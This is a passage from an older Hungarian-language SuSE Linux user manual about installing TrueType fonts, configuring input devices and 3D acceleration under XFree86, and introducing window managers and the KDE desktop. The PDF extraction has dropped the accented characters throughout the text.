meggyfa:/root # cd /usr/X11R6/lib/X11/fonts/truetype

Ksztsnk linkeket a ttf fjlokhoz s hozzuk ltre a bet kszlet knyvtrat. u Jegyezzk meg, hogy a true type bet khz egy specilis programra van szku sgnk, amit ttmkfdir-nek, hvnak, a ttmkfdir , xap alatt hogy ltrehozzuk a fonts.dir fjlt. Hagyomnyos X bet k beletartoznak az mkfontdir u parancs hasznlatval. A /path/to/the/fonts tvonal helyett, lltsuk be a vonatkoz tvonalat ahol ezek a bet k tallhatk. u
meggyfa:/usr/X11R6/lib/X11/fonts/truetype # ln -s /pfad/zu/den/fonts/*.ttf . meggyfa:/usr/X11R6/lib/X11/fonts/truetype # ttmkfdir -o fonts.dir

Ha az X szerver mr fut, most dinamikusan elrhet v tehetjk a bet ket. o u Ehhez adjuk meg ezt:
jancsi@meggyfa:/home/jancsi > xset +fp /usr/X11R6/lib/X11/fonts/truetype

280

8.6. Az X Window rendszer teleptsnek optimalizlsa Az xset parancs az X szervert az X protokollon keresztl ri el. Ezrt az X szerver futshoz elrhet engedlyezssel kell rendelkeznnk. Ez az eset, o pldul, ha a jancsi felhasznl indtotta az X szervert. Err l b vebbet o o a man xauth alatt tallunk . A bet kszletek vgleges belltshoz hozz kell adnunk ezt a keressi u tvonalat a XF86Config fjlhoz. Hasznlhatjuk erre a SaX2 -t is. A bet k u tvonalnak megvltoztatshoz az Egyedi (Custom) pontot kell vlasztanunk a SaX2 belltsi mdnl. Az tvonal prbeszdablak (Path dialog)-ban hozzadhatjuk a knyvtrat a Hozzad (Add)-al, a mr listzott knyvtrakhoz. Le kell ellen riznnk, hogy a bet kszleteket jl lltottuk-e be. Ehhez haszo u nljuk az xlsfonts parancsot. Ha a bet ket helyesen teleptettk, az sszes u teleptett bet k a listn megjelennek, belertve az jonnal teleptett True Type u bet ket is. Hasznlhatjuk a kfontmanager KDE programot is, ami megjelenti u a teleptett bet ket egy plda szveggel. u
jancsi@meggyfa:/home/jancsi > xlsfonts

Ezek az jonnan teleptett bet k hasznlhatk az sszes X alkalmazsban. u 8.6.2 Beviteli eszkzk belltsa

Ha le akarnnk rni az sszes beviteli eszkz belltsi lehet sgt, rhatnnk o egy egsz knyvet rla, egyszer en azrt, mert rengeteg beviteli eszkz ll u rendelkezsre a szmtgp vilgban. Az albbiakban megprblunk egy pr receptet adni, amivel be tudjuk lltani ezeket a beviteli eszkzket. Valahogy elvont fogalom, a "beviteli eszkzk (input devices)" utal az egrre s billenty zetre, de a touch pad-okra is, stb. Nzzk meg lejjebb a vonatkoz u cmeket, hogy tbb informcit talljunk a vonatkoz tmrl. Termszetesen tallhatunk tbb rszletezett informcit az X szerver dokumentciban, klnsen a man XF86Config alatt. Egr Grg segr Ha az egeret a SaX2 -vel lltottuk be, akkor az alapfunkciit o hasznlhatjuk is. Ha esetleg kerekes egernk van (az gynevezett "grg seo gr (wheel mouse)"), ebben az esetben szeretnnk hasznlni ezt a kereket az X alkalmazsokban, pl. grgetsre (scrolling). Ha egy ilyen grg segernk o van a SaX2 -vel, amint lertuk a 8.3.1 . fejezetben (243. oldal), a kiterjesztett belltsokkal a SaX2 egr menjben, grgsegr (wheel moo use), akkor a kerk mozgst tadja az alkalmazsoknak, mint a 4. s az 5. gomb mozgsa. Sajnos csak kevs X alkalmazs tudja kezelni ezt. Ahhoz, hogy tudjuk hasznlni a kereket minden programban, csak teleptennk kell a imwheel , ap programot a fut X szerverben. Megtehetjk ezt a ~/.xinitrc fjlban. Beilleszthetjk a programot indt parancsot, pldul kzvetlen a megjegyzs sor al itt indtjuk el az ablakkezel t. Ez a kis segdprogram talaktja az "egr kattintsok"-at amit a keo rk mozgsa eredmnyezett a bellthat gomb kattintsokhoz. Ezek el re o Bild s Bild gombra, a program bellthat a be vannak lltva a 281

8. Az X Window rendszer /etc/imwheelrc fjlon keresztl is. Ezen az ton m kdtethetnk minu den X programot amelyet hasznlhatunk billenty zeten keresztl, ugyangy, u mint a grg segernkkel. Ha tmsoljuk a belltsi fjlt a ~/.imwheelrco hez, akkor vltoztatsokat vihetnk vghez norml felhasznlknt, nem csak "root"-knt. Egr hasznlata balkezeseknek Felcserlhetjk a bal s jobb egr gomb m kdst, ha kiadjuk az albbi parancsot: u
jancsi@meggyfa:/home/jancsi > xmodmap -e "pointer = 3 2 1"

Bele is vehetjk ezt a parancsot a ~/.xinitrc fjlba. Kt egr vagy egy touch pad Nem okoz gondot, ha hozz akarunk adni egy msodik egeret vagy egy touch pad-et. Ismt csak a SaX2 hasznlatt tudjuk javasolni. Vlasszuk az Egyedi (Custom) belltsi mdot s az egr ment, adjunk hozz egy tovbbi egr szimblumot az j gomb hasznlatval. A msodik egr nem lesz belltva automatikusan, de megadhatjuk az adatokat sajt magunk kzzel. A Meghajtk (Drivers) alatt kivlaszthatjuk a megfelel egr meghajtt, ha ez egy msik o egr, vagy vlaszthatunk egyet a meghajtk listjrl a touch pad-nek. A Protokoll s a Kapcsolat alatt, az eljrs hasonl. A Protokoll belltsnak csak akkor van rtelme, ha az egr meghajtt hasznljuk. Klnben a pads tpus belltst kell kivlasztanunk a Szakrt o prbeszdablakban. Ha van touch pad meghajtnk, xxx None Protocol. A Szakrt menben ezutn vlasszunk tovbbi lehet sgeket az o o Egyb (Miscellaneous)-ben. A Kldjn rendszersszeomlsi jelentseket (Send Core Events) lehet sg kln emltst rdemel itt; ha aktivizlo juk ezt akkor a beviteli eszkzket prhuzamosan hasznlhatjuk. Klnben tkapcsolhatunk a kt beviteli eszkz kztt az xsetpointer parancs hasznlatval. Hasznljuk a
jancsi@meggyfa:/home/jancsi > xsetpointer -l

parancsot a lehetsges beviteli eszkzk listjnak megjelentsre. A billentyuzet A "billenty zet" termszetb l kifolylag nincs olyan sok rnival err l, mint u o o a tbbi beviteli eszkzr l. Itt rendszerint nincs semmi specilis belltani o val. Az albbi programok s fjlok azonban hasznosak lehetnek bizonyos esetekben: A billenty zet kioszts megvltoztatsra, vagy csak tesztelni m kds u u alatt itt az xkeycaps program, xkeycaps , xap. A ~/.Xmodmap fjlban elmenthetjk vglegesen az egyedileg megvltoztatott karaktereket. E fjl formjt lsd a man xmodmap alatt. KDE alatt a kikbd program a ("Nemzetkzi billenty kioszts") elrhet a u o KDE Rendszer (System) menjben. Ezzel nagyon knyelmesen vltogathatunk klnbz billenty kiosztsok kztt. Ez a program nagyon o u 282

8.6. Az X Window rendszer teleptsnek optimalizlsa hasznos, ha pldul angol billenty zetet akarunk hasznlni programozsra (itt u a zrjelek {} s [] jelek sokkal knnyebben elrhet k) s a magyar billeno ty zetet szvegek rsra. u 8.6.3 3D gyorsts

Tbb grakus krtyval most mr lehet sg van a 3D gyorsts hasznlatra o az XFree86-vel. Ne felejtsk, hogy a legtbb 3D meghajt mg mindig bta llapotban van! Sajnos az jonnan bemutatott "DRI" Direct rendering infrastructure az XFree86-4.0-ban csak a "Hacker kernel versions" 2.3-al hasznlhat. Ez a DRI biztostja, hogy az X szerver el tudja rni a grakus krtya 3D gyorstsi m veleteit kzvetlen a rendszermag tmogatssal. u Az XFree86-3.3.x nem hasznl semmi specilis rendszermag modult a 3D tmogatsra. Itt van a glx.so szerver modul, amit a /etc/XF86Config fjl Modules rsze alatt lltunk be. Ha mg nem aktivltuk a 3D tmogatst a telepts alatt a YaST2 vel, akkor teleptenk kell a megfelel 3D modult o a grakus krtyhoz, a YaST hasznlatval. A modul megtallhat a x3d kszletben. Ez a modul nyjtja a tmogatst a 3D hardver gyorstshoz. A /etc/ XF86Config fjlban ha ez mg nem volt belltva a telepts alatt adjuk hozz a Load glx.so sort a Modules Section alatt. Ez a modul biztostja, hogy az X szerver megrti a 3D parancsokat s helyesen rtelmezi azokat. Hasonlan jrunk el az XFree86-4.0-ban, csak itt le kell hagynunk a vgr l az .so-t, mivel ezt a vgz dst az X szerver automatio o kusan hozzadja. A 3D parancsokat azutn az OpenGL hasznlja, ami kompatibilis a MESA grakus knyvtrral (library). Ez a knyvtr minden esetben mindig illeszti a krdses grakus krtyt benne van ugyanabban a csomagban mint a glx modul az X szerverhez s elri kzvetlenl ezt az X szerver 3D kiterjesztst. Ezt a knyvtrat ezrt nem szksges kln jra telepteni. Pontosabban mondva, a 3D tmogats 2 rszb l ll: a "megosztott knyvtrak o (shared library)" ami teleptve van a rendszerben s amiket az alkalmazsok hasznlnak mint ms "shared libraries"-t, s az X szerver egy modulris kitejesztse. A teleptett 3D alkalmazsok most kzvetlenl hasznlhatjk a gyorst m u veleteket. Szmos dem programot tallunk a glutdemo , x3d alatt. A 3D gyorst teleptse utn, kiprblhatjuk pldul az albbi parancsot az xtermben:
jancsi@meggyfa:/usr/lib/glutdemo/demos/atlantis/atlantis >

283

8. Az X Window rendszer

284

9. fejezet

Az ablakkezel kablakok a gpre o


Fordtotta: Pet Sndor Lszl o Az X kiszolgl egyszeri belltsa utn a tipikus felhasznl azonnal egy sznes, ablakos munkafelletet akar, menvel s sok ms hasznos dologgal, ami egy els osztly munkafellett l elvrhat. o o Ez a fejezet az ablakkezel kkel foglalkozik, az albbi tmkat fellelve: o az ablakkezel s feladatai o fvwm2 egy klasszikus linuxos ablakkezel o KDE a "K Desktop Environment" mint vlasztsi lehet sg o susewmegy roppant elegns t a sajt kongurcis fjl mdostshoz a gyakorlata klnfle belltsok alkalmazsa

Miel tt buzgn el rerohannnk, kezdetnek szksges nmi elmlet, teht leo o gynk trelemmel!

9.1
9.1.1

Egy kis elmlet


ltalnossgban

A monolitikus grakus fellet grakus munkafelletek, mint amelyeket a u windows s az OS/2 hasznl, klnbznek a Unix s a Linux ltal hasznlt sok funkcis szintt l, melyek fggetlen csoportokba rendez dnek. Ez, els o o o pillantsra mg bonyolultabb teszi a rendszert. Msrszr l ez nveli az o alakthatsgot s a rendszer tbb bonyolult folyamatot is kpes kezelni. A hardver fltti els szint az opercis rendszer, amely az "alacsonyszint " o u folyamatokat kezeli, mint pldul a memriakezels. Kvetkez szintknt az X kiszolglt hatrozzuk meg, amely a "grakus o meghajtprogramnak" felel meg ms rendszereket tekintve. Az X kiszolgl nmaga szolgltat egy hlzati szint absztrakt rteget a GUI alatt. Ezrt u kpesek vagyunk az egsz hlzaton keresztl hasznlni ezeket a szolgltatsokat, belertve az Internetet is. Valjban az X kiszolgl "nem csinl semmi mst", mint: kommunikl a grakus krtyval, pontokat, vonalakat, derkszgeket, szvegeket rajzol, s sztosztja a szolgltatsokat a hlzaton s a helyi gpen. 285

9. Az ablakkezel kablakok a gpre o Mindazonltal gy vljk, hogy br a legtbb felhasznl helyileg futtatja az X kiszolglt (csak a sajt gpn), a beptett hlzati tmogats, a felhasznl szmra val tjrhatsga, risi el ny az X kiszolglt hasznlva. o Ezrt ez az egysges fellet nem jelent akadlyt a munkaasztal grakus kialaktsban. Csak ez teszi alkalmass klnbz grakus munkaasztalok o tervezsre s ezentl minden program egyfle mdot hasznlva jelenik meg minden munkaasztalon. Hlzati krnyezetben lehetsges pldul, hogy egy programot a munkahelyi gpen futtatva a kperny kimenett az otthoni go pnkn jelentsk meg. Teljesen mindegy, hogy csak egy egyedli alkalmazs vagy egy egsz munkaaszal fut a tvoli gpen. A hardver kiptsnek s az opercis rendszernek itt nincs szerepe (amennyiben tmogatjk az X11-et). Ezrt nincs szksg arra, hogy egy er s, de zajos munkalloms mellett lo jnk, elegend egy kevsb er s szmtgp is, az iroda knyelmben, ameo o lyen tvolrl, a munkallomson futtatjuk alkalmazsunkat. Mita a Linux tbbfelhasznls rendszer, tbb klnbz felhasznl dolgozhat ugyanazon o a gpen, X terminlokon keresztl1 . Most, hogy kpesek legynk megjelenteni minden grakus anyagot, mint pldul derkszgeket s "ablakoknak" nevezett dolgokat, az ablakkezel o szolgltatsai alapvet ek. o Fontos tisztznunk az ablakok rtelmezst; az ablakok teszik lehet v alo kalmazsok indtst egyms utni ablakokban, s gondoskodnak a menk hasznlatrl, hogy knyelmesebben m kdtethessk a rendszernket. u Az ablakkezel egy kzbees szint az X kiszolgl, az alkalmazs s a felo o hasznl kztt2 .

User

Applications Windowmanager X-Server Hardware

9.1 bra: a GUI szintjei a Linuxban Linuxon nagyszm ablakkezel ll rendelkezsre a legegyszer bbt l kezdve o u o a teljes "Munkaasztal Krnyezetig" (Desktop Environments). Mg az ablak1 Az X terminl egy kicsi szmtgp merevlemez nlkl, amely hlzaton keresztl tlti be az opercis rendszert. 2 Az X alkalmazs fejleszt k elrhetik a kiszolglt kzvetlenl is. o

286

9.1. Egy kis elmlet kezel k csak az ablakokat kezelik, egy "Munkaasztal Krnyezet" tbb alkalo mazst tartalmaz, melyek mindegyike hasonl mdon nz ki s kezelhet . o A SuSE Linux a sok kzl az albbi ablakkezel ket tartalmazza: o fvwm s fvwm2 (Az ablakkezel ) o fvwm95 (Windows 95 kln) bowman (hasonlnan nz ki s hasznlhat mint a NeXTSTEP ) ctwm afterstep olvwm (OpenLook virtulis ablakkezel ) o cde Common Desktop Environment (kereskedelmi) kwm a K Desktop krnyezet ablakkezel je (KDE) o

Qvwm Hossz ideig az Fvwm volt "A" Linux ablakkezel . Erre alapozva tbb ko lnbz ablakkezel t rtak, melyek azonos mdon llthatk be, de mindnek o o megvolt a maga klnlegessge. Ebb l a csaldbl szrmaznak az Fvwm o 1-es, 2-es s 2.2-s verzii, de az afterstep, bowman, cdesim s fvwm95 is. Az albbi munkaasztal krnyezetek is rendelkezsre llnak: KDE K Desktop krnyezet (szabvny a SuSE Linux-ban) GNOME GNU Network Object Model Environment CDE Common Desktop Environment (kereskedelmi) Ezekt l elklnlve mg tbb egyb ablakkezel is elrhet , belertve a o o o Wm2 -t, a Mlvwm-et, a Qvwm-et, a Enlightenment-et, a Twm-et, a Icewmet, a Scwm-et ... Hogy melyiket hasznljuk az fgg a szemlyes zlsnkt l, a kvnt funkcio ktl s a rendelkezsre ll hardver teljestmnyt l. Figyelemre mlt ko lnbsgek vannak az egyes ablakkezel k memriaignye kztt. Csak akkor o hasznlhatunk munkaasztalknt KDE-t vagy GNOME-ot, ha legalbb 32 MB memrink van, de 64 MB ajnlott. Bellthatsgban, hajlkonysgban, j tulajdonsgok s fejlesztsek alkalmazsban rezhet az ablakkezel k ko o ztt igazi klnbsg. A 9.2, 9.3 , 9.4 s a 9.5 -s brkon ngy plda lthat klnbz ablak kinzetekre. o

9.2 bra: Nincs ablak dszts. X11 ablakkezel nlkl o Semmi akadlya sincs annak, hogy egyszerre akr tbb ablakkezel t is teleo ptsnk s kiprbljunk. Miutn dntttnk egy konkrt ablakkezel mellett, o elkezdhetjk azt sajt szksgleteinkhez alaktani. A KDE munkaasztal (KDE Desktop) van alaprtelmezsknt teleptve, mivel jelenleg ezt fejlesztik leginkbb. 287

9. Az ablakkezel kablakok a gpre o

9.3 bra: A kvwm ablakdsztse a KDE-ben

9.4 bra: Az Fvwm2 ablakdsztse

9.5 bra: A WindowMaker ablakdsztse A legtbb ablakkezel belltsai s idevg adatai az /usr/X11R6/lib/ o X11 alknyvtrban helyezkednek el. Szabadon kutassuk t ezt a helyet! Figyelmeztets: az ebben a fejezetben lv informcik az fvwm2 -re s a o KDE -re vonatkoznak. Mindkett t ajnljuk! o 9.1.2 Mit kezel egy ablakkezel ? o

Itt egy rvid (s hinyos) lista, hogy milyen munkaasztal jellemz ket vltozo tathatunk meg ablakkezel t hasznlva: o az ablak kinzete az ablakkeret szlessge, magassga, szne, 3D effektusa ablak felgyelet, pl. ablakok mozgatsa, nagytsa, fejlc, fontok ablakok tfedse raising of windows (z. B., AutoRaise). pinning of windows focusing of windows by: clicking entering with the mouse pointer felbukkan menk a menk kinzete (sznek, fontok) a menk s almenk viselkedse kperny httr o 288

9.1. Egy kis elmlet virtulis munkaasztal (tbbszrztt munkaasztal/kperny ) o ikon kezels hangok, m veletek csatolsa a munkaasztalon u Nem minden ablakkezel nyjt lehet sget a fentebb emltett belltsok grao o kus s intuitv elvgzsre. A KDE, GNOME, WindowMaker s Enlightenment, mindazonltal ezt megteszi. A legtbb ablakkezel beolvas egy vagy tbb kongurcis fjlt indulskor. o Az ablakkezel k viselkedse ezekben a fjlokban llthat be. Ezek szino taxisa tbb kevsb megjegyezhet . Sajnos minden ablakkezel eltr foro o o mtumban menti el a belltsait. Szksgnk lesz az idevonatkoz kziknyvoldalak tanulmnyozsra. Vgs soron megllapodunk a "kedvenc" ablakkezel nknl. Megtanuljuk o o sajtossgait s ignyeinknek megfelel en lltjuk be. o 9.1.3 Klnbz ablakkezel k indtsa o o

A SuSE Linux-ban tbbfle mdon indthatjuk el az ablakkezel nket, fgo g en attl, hogyan akarjuk elindtani az X Window Rendszert 3 . o Indts xdm-el Ha xdm-et hasznlunk kdm helyett, be kell lltanunk WINDOWMANAGER krnyezeti vltozt az albbiak szerint. Indts startx-el Ha nincs szksg az X Window Rendszer automatikus indtsra a rendszer betlt dse utn, hasznlhatjuk a startx parancsot, a konzolrl indtva ezo ltal egy meghatrozott ablakkezel t. Ez egyszer en a kvetkez bersval o u o tehet meg: o
jancsi@meggyfa: > startx fvwm95

kzvetlenl elindtja az Fvwm95-t. Ez a legtbb jelen lv ablakkezel vel o o m kdik. A parancs kib vthet pldul a sznmlysg belltsval, ha az u o o intenzv szn AfterStep (afterstep)-et akarjuk hasznlni. u A kvetkez parancs: o
jancsi@meggyfa: > startx afterstep -- -bpp 16

16 bites sznmlysggel (65536 szn) indtja el az X Window Rendszert az AfterStep ablakkezel vel. o Mint ablakkezel nv, a vgrehajthat ablakkezel program neve itt mindig o o hasznlhat.
3

A kt f mdozat az xdm-en keresztl vagy a konzolrl val indts. o

289

9. Az ablakkezel kablakok a gpre o A WINDOWMANAGER vltoz Ahelyett, hogy minden esetben meghatroznnk az indul ablakkezel t, s o abban az esetben, ha mindig ugyanazon ablakkezel t szndkozunk haszo nlni, a kvetkez sort szrjuk be vagy mdostsuk a HOME knyvtrban lv o o ~/.bashrc-ben:
export WINDOWMANAGER=fvwm95

Ha az ablakkezel vgrehajthat fjlja nem tallhat meg a PATH krnyezeti o vltozban, a teljes elrsi utat meg kell adnunk. Ezenkvl a fenti bejegyzst berhatjuk a /etc/profile-ba is, ha akarjuk, s gy rendszerszinten hatrozhatjuk meg az ablakkezel belltst. De leo gynk azzal tisztban, hogy ezt a rendszerszint belltst minden felhasznl u fellrhatja a sajt ~/.bashrc fjljban. Ha az X Window Rendszert kdm-en keresztl indtjuk (a kdm a KDE csomag rsze), nem szksges belltani a WINDOWMANAGER krnyezeti vltozt. Az ablakkezel nket helyette kivlaszthajuk a kdm legrdl meno o jb l. Lsd a 9.2 fejezetet. o Az ablakkezel cserje a rendszer futsa kzben o Ha susewm-et hasznlunk, lehetsgnk van arra, hogy felcserljk ablakkezel nket egy msikra a sok kzl, klnsen, ha az az fwvm csaldba tartoo zik. Vegyk gyelembe, hogy brmely megnyitott ablak, s ennek fut folyamatai nem szakadnak meg. Ez bizonyos ablakkezel k szmra technikai okokbl is o lehetetlen, ilyen ablakkezel pldul a ctwm, mwm, kwm (KDE) s a CDE. o (A programozk nem is tervezik e tulajdonsg megvltoztatst.) Mindazonltal a SuSE DyDe eszkzt hasznlva kedvnkre vltogathatjuk az ablakkezel ket. Ez lehet v teszi szmunkra, hogy elindtsuk s lelltsuk a KDE o o s GNOME munkaasztal elemeit. Ha ezt akarjuk tenni, akkor a suse-t kell ablakkezel knt meghatrozni, vagy kivlasztani a kdm-ben. o

9.2

KDE a K Desktop Krnyezet

A KDE egy szabvnyostott, knnyen bellthat grakus felhasznli interfsz. Sok alkalmazs a KDE kezel i fellett hasznlja. A KDE a "K Desktop o Environment" rvidtse s egy 1996-ban indtott projektet takar. A KDE tartalmazza a kwm ablakkezel t, a kfm fjlkezel t, amely kzponti o o szerepet jtszik, s a rendszerszint segtsget, a kdehelp-et. Ez a segt u o rendszer tmogatja a HTML-t, kziknyvoldalakat s ugyangy a GNU info-t is. Sok alkalmazs elrhet KDE-re belertve levelez programokat, news o o olvaskat, jtkokat, rendszerinformcis eszkzket s mg sok mst. Please be aware that KDE is still considered beta software (as you can see from the version). It is susceptible to occasional crashes, but luckily, not very often. A KDE teljesen URL s MIME alap. Ez rszben azt jelenti, hogy a fjlra vonatkoz elrsi t minden rszlete s a csatolsok thaladnak s vgrehaj290

9.2. KDE a K Desktop Krnyezet tdnak egy szabvnyos formt s thaladsi protokoll-t hasznlva (pl.: fjl csatolsai, csatolsok egy HTML oldalra, egy fjl a fjlrendszernkben, egy segtsg oldal vagy egy FTP hely). Ezenkvl a "Mimetypes"-on keresztl lesz meghatrozva, hogy egy program milyen fjlokat olvasson. Ezen keresztl lehetsges, hogy egy egrkattintssal megnzzk ezeket, fggetlenl az id t l s az adat forrstl, s lehetsges mdostsokat is vgeznnk. oo Ezrt tudunk klnbz fjlokat s formtumokat ugyanazon nz vel megteo o kinteni. Mindezentl a KDE a "fogd s vidd" mdszert is messzemen en tmogatja o (pl. egy fjl msolsa FTP-helyr l a helyi rendszerbe). o A KDE segtsgnyjtsi rendszere, a kdehelp egy alaposan kidolgozott alkalmazs. Minden szerz kteles a segtsget HTML oldalokon is kzztenni. A o segt rendszer mellett (amelyet az alkalmazson bell a Help gombbal o rhetnk el) hasznlhatjuk a GNU info- s kziknyv-oldalait is. Most nzznk egypr rdekes lehet sget a sok kzl, hogyan llthatjuk be o a KDE-alkalmazsokat s magt a KDE-t, egysges mdon, egyszer en s u knyelmesen belltva a ment s a munkaasztalon lv csatolsokat. o A KDE e lehet sgt a QT widget kszletnek ksznheti. A Motifhoz hao sonlan a QT is egy grakus knyvtr (gy jtemny), amely lehet v teu o szi X Window rendszer alatt GUI-k ksztst. Figyeljnk arra, hogy a QT jogi felhasznlsi lehet sgei eltrnek a GPL-ben megadottaktl (ld: o /usr/doc/packages/qt/LICENSE). 9.2.1 Teleptsi ttekints

Az albbiakban rvid ttekintst adunk a KDE teleptsr l - f knt az o o tvonal-belltsokat, belltsi lehet sgeket s fontosabb billenty kombio u ncikat gyelembe vve. Alaprtelmezsben a KDE a /opt/kde knyvtrba telepl. Minden KDEalkalmazs valszn leg ebben a knyvtrban tallhat. A /etc/profileu ban lv KDEDIR krnyezeti vltoz belltsa knnyebb teszi a KDE alkalo mazsok elrst. A KDE-binrisok tvonala (/opt/kde/bin) automatikusan hozzaddik a PATH krnyezeti vltozhoz a KDE teleptse sorn. A /opt/kde alatt rengeteg alknyvtr tallhat. A 9.1 tblzatban csak a legfontosabbakat vitatjuk meg.

/opt/kde/bin /opt/kde/share/config /opt/kde/share/applnk /opt/kde/share/apps /opt/kde/share/doc /usr/doc/packages/kde

minden KDE-program binrisa rendszerszint kongurcis fjlok u alkalmazsok csatolsai (men) a KDE-programok fjljai az on-line segtsg rendszer kiegszt informcik a KDE-r l o o

9.1 tblzat: KDEfontosabb alknyvtrak

291

9. Az ablakkezel kablakok a gpre o Alt + F1 Alt + F2 Alt + F3 Alt + Tab Ctrl + Esc Ctrl . + F1 . . F8

A K men megnyitsa. Univerzlis parancssor megnyitsa. Ebben megadhatk: URL, loklis knyvtr vagy program/parancs Bezrja az ablakot. tkapcsol az aktulis desktopon lv o ablakok kztt. A sessionok listjt mutatja meg a desktop sszes ablakval egytt A desktopok kztt vlt (1-t l 8-ig) o

9.2 tblzat: KDE Fontosabb billenty kombincik u 9.2.2 kdma grakus bejelentkez fellet o

A KDE-rendszer hasznos eleme a kdm kperny kezel . Ez az eszkz az xdm o o grakus bejelentkezsi fellet hasznos helyettest je. A kdm alaprtelmezett o rsze a SuSE Linux-nak. Lsd a 9.6 brt.

9.6 bra: A kdm bejelentkez fellet o Lthatjuk a gombokat, melyekkel az ablakkezel t (Fellet (Session o Type)) s a kvnt nyelvet (Language) vlaszthatjuk ki. A Lellts (Shutdown) gomb klnleges lehet sgknt ll itt rendelkezsnkre. o A kdm az ignyeknek megfelel en bellthat a /opt/kde/share/ o config/kdmrc segtsgvel, vagy a 3. bta verzi ta a KDE menb l o elrhet dialgusablakon keresztl is. o A SuSE Linux-ban egyb vltozsokat is vghezvittek az ablakkezel k belo ltsaiban s a kdm indtsi mechanizmusban.

292

9.2. KDE a K Desktop Krnyezet Ezen a ponton megadhatunk kt vltozt4 : DISPLAYMANAGER Akr karakteres konzolba akar bejelentkezni a 3. futsi szinten, akr kdm-en vagy xdm-en keresztl az 5. futsi szinten, szveges konzolt a console begpelsvel, vagy a sort resen ("") hagyva kapunk. KDM_SHUTDOWN Kijellhetjk, mely felhasznlk llthatjk le a gpet a kdm-b l. Itt o megadhatjuk a root felhasznlt (root), minden felhasznlt (all), senkit (nobody) vagy csupn a helyi felhasznlkat (local). A SuSEcong ezeket az rtkeket a /opt/kde/share/config/kdmrc be rja, amelyek a kdm kvetkez indtsnl lpnek rvnybe (a o Ctrl + Alt + letsvel ezt megtehetjk). Ha vltoztatsokat terveznk, akkor azokat a kdmrc.in-ben tegyk meg. A /opt/kde/share/config/ kdmrc-t a SuSEcong hozza ltre. Ha meg akarunk szabadulni ett l az eljrstl, csak trljk a /opt/ o kde/share/config/kdmrc.in-t s a SuSEcong nem piszklja tbb a kdmrc-nket. 9.2.3 Teht, mi is olyan klnleges a KDE-ben?

Most mr tudjuk hasznlni a kdm grakus bejelentkez fellett, gy itt az o ideje, hogy a KDE sajtossgait is megtrgyaljuk. Ezrt lerjuk a KDE bejelentkezs, vagy a startx parancs utni viselkedst. Rviddel a bejelentkezs utn nhny prbeszdablak jelenik meg, jelezve, hogy szmos fjl s alknyvtr hinyzik. Ez nem hiba. A KDE a HOME knyvtrunkban ltrehoz kongurcis alknyvtrakat, melyek /opt/kdeben tallhatakhoz hasonlak. Kt klnleges fjl a $HOME/.kde s a $HOME/Desktop. Az els a kongurcis fjlok, utbbi a csatolsok szo mra jtt ltre. Nyomjunk a prbeszdablakokra. A prbeszdablakok -t nem jelennek meg KDE a kvetkez indulsakor. o Mindezek utn a kfm (K le manager) tlt dik be. A kfm a KDE rendszer o alapvet rsze. Ahogyan mr fentebb emltettk, sok fjlformtumot kpes o kezelni. Viselkedse a felhasznl szmra teljesen tlthat: kpes kezelni FTP archvumot (ftp: URL el tag), kziknyvoldalakat (man: URL el o o tag), GNU infooldalakat (info: URL el tag) s WWW cm HTML oldalait o (http: URL el tag). Kls eszkzkkel kpes kpek megjelentsre is. o o A 9.7 brn egy tipikus KDE-munkaasztal lthat. A felhasznl percek alatt kpes bens sges viszonyba kerlni a kedvez tulajdonsgokkal. o o Jobb egrgombbal egy alkalmazs ikonjra kattintva el jn a kfm bellto eszkz, mellyel bellthatjuk az alkalmazst. Az alkalmazsrl szl minden bellts egy .kdelnk kiterjeszts fjlba kerl. A belltsok megvltozu tatsa a tulajdonsgok-ablakon keresztl trtnik, ahogyan az a 9.8 brn lthat. Ez egy szerkeszthet ASCII fjl. Ajnlatos ezekre a fjlokra egy o
4

Ezek a vltozk a 463 vannak rszletezve.

293

9. Az ablakkezel kablakok a gpre o

9.7 bra: A kfm fjlkezel o pillantst vetni, melyek a $HOME/Desktop alknyvtrban vagy rendszerszinten a /opt/kde/share/applnk-ban helyezkednek el. Ha tudjuk, hogyan rjunk csak egyet is ezek kzl, felkszltnk.

9.8 bra: A kfm tulajdonsgok ablak Az utolsknt betlt d program a KPanel , a men s a tlca. A virtulis o o munkaasztalok hasznlathoz itt fogunk lehet sgeket tallni. Az egyik ko 294

9.2. KDE a K Desktop Krnyezet lnleges lehet sg a "K" gomb. Itt minden KDE-alkalmazst megtallhatunk o (lsd a kdelnk fjlokat). Ezenkvl a KDE-rendszerre vonatkoz belltsok sok ms egyben kvl a KDE control centerben tallhatk. Ez mg azonban nem minden amit a KPanel knl. Az alkalmazsok ikonjait "fogd s vidd" mdszerrel msolhatjuk s egyenesen a panelr l indthatjuk o azokat. Ezen kvl a Kpanel az alkalmazsokat egysgbe foglalja. Ezek lehetnek programok, mint pldul a klipper (ami lehet v teszi tbb vglap o hasznlatt) vagy a korn, ami megmutatja egy meghatrozott levelesldban lv levelek szmt. Ezek az alkalmazsok a Kpanelen bell futnak, s ez o fontos minden munkaasztalon ltszanak. A kdisplay -t, egy msik hasznos KDE programot, a 9.9 bra mutatja be.

9.9 bra: A KDE megjelenst a kdisplay segtsgvel szablyozhatjuk Termszetesen nem soroluk fel minden KDE-alkalmazst s kziknyveiket. A KDE egyik clja, hogy hasznlhatbb s emberkzelibb tegye gpnket. Egy kis keresssel KDE-alkalmazsok tmegre tallhatunk. Segtsg minden KDE-alkalmazshoz elrhet . A kdehelp -et gy rhetjk o el, hogy a munkaasztalon kattintunk a jobb egrgombbal. Mindazonltal tartsuk szben, hogy jnhny KDE-alkalmazs mg korai fejlesztsi fzisban van. Ez rszben azt jelenti, hogy nem stabilak, lefagyhatnak vagy egyb furcsa dolgok trtnhetnek. Tbbnyire azonban nem ez a helyzet. 295

9. Az ablakkezel kablakok a gpre o A KDE komplexitsbl s gyors fejlesztsb l fakadan ezek az alkalmao zsok nincsenek benne a telepthet KDE-csomagjainkban. Megprblunk o annyi KDE-alkalmazst tmogatni a disztribcinkban, amennyit csak lehetsges; lsd a 1.4.1 . fejezetben (8. oldal). Vagy egy tucat levelezsi lista elrhet a KDE weblapjrl (http://www.kde.org). Itt szmtalan tmban o tallunk informcit, gy a legutbbi KDE megjelensvel s alkalmazsaival kapcsolatban is. Vgl szeretnnk megemlteni, hogy vannak specilisan talaktott KDEcsomagjaink, amelyek az FTP-helynkr l letlthet k: o o ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/KDE Ezek a csomagok a YaST -tal knyelmesen telepthet ek. Olvassuk el az ideo vonatkoz README fjlokat, amelyek szintn a fenti URL cmen tallhatk.

9.3

Az fvwm2 ablakkezel o

Fordtotta: Pet Sndor Lszl o

